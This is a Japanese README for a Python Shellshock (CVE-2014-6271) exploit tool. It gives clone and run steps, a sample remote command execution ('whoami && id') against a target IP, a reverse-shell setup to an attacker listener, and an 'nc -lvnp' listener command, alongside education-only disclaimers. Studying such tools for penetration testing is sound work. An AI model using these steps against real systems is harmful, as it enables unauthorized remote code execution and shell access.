CVE-2014-6271-SHELLSHOCK

🐚 シェルショック エクスプロイトスクリプト 🎯💻🔍

このPythonスクリプトは、シェルショック脆弱性 (CVE-2014-6271) を悪用して、脆弱なターゲット上でリモートからコマンドを実行したり、リバースシェルを確立したりします。 🛠️⚠️

⚠ 免責事項 🚨❗

このスクリプトは、教育目的および許可されたペネトレーションテストのみを目的としています。明示的な許可なくシステムに対して不正に使用することは、違法かつ非倫理的です。セキュリティテストを実施する前に、必ず適切な許可を取得してください。 ⚠️🛑🚔

🔥 機能

• シェルショックエクスプロイトを使用して、脆弱なシステム上で任意のコマンドを実行します。
• 攻撃者のマシンへのリバースシェル接続を確立します。

📌 前提条件 🎓

• シェルショックに脆弱なシステム（例：CGIが有効な古いApacheサーバー）。
• Python 3がインストールされていること。
• システムにcurlがインストールされていること。

📥 インストール

リポジトリをクローンします：

git clone https://github.com/YunchoHang/CVE-2014-6271-SHELLSHOCK.git
cd CVE-2014-6271-SHELLSHOCK

🚀 使用方法

スクリプトを実行します：

python3 AutoShocker.py

🔘 オプション

1. curlを使用してコマンドを実行 – ターゲットマシン上で任意のコマンドを実行できます。
2. リバースシェルを取得 – 攻撃者マシンへのリバースシェル接続を確立します。

💡 使用例

コマンド実行：

python3 AutoShocker.py
Enter the target IP: 192.168.1.100
Choose an option (1 or 2): 1
Enter the commands you want to execute: whoami && id

リバースシェル：

python3 AutoShocker.py
Enter the target IP: 192.168.1.100
Choose an option (1 or 2): 2
Enter your IP (listener): 192.168.1.200
Enter the port for reverse shell (e.g., 4444): 4444

あなたのマシンでリスナーを起動します：

nc -lvnp 4444

⚠ 警告

• このツールを不正アクセスに使用しないでください。
• テストする許可がないマシンで実行することは違法です。
• セキュリティテストを実行する前に、明示的な許可を取得してください。

📜 ライセンス

このプロジェクトは教育目的のみです。作者は誤用について一切の責任を負いません。 📖⚠️🔍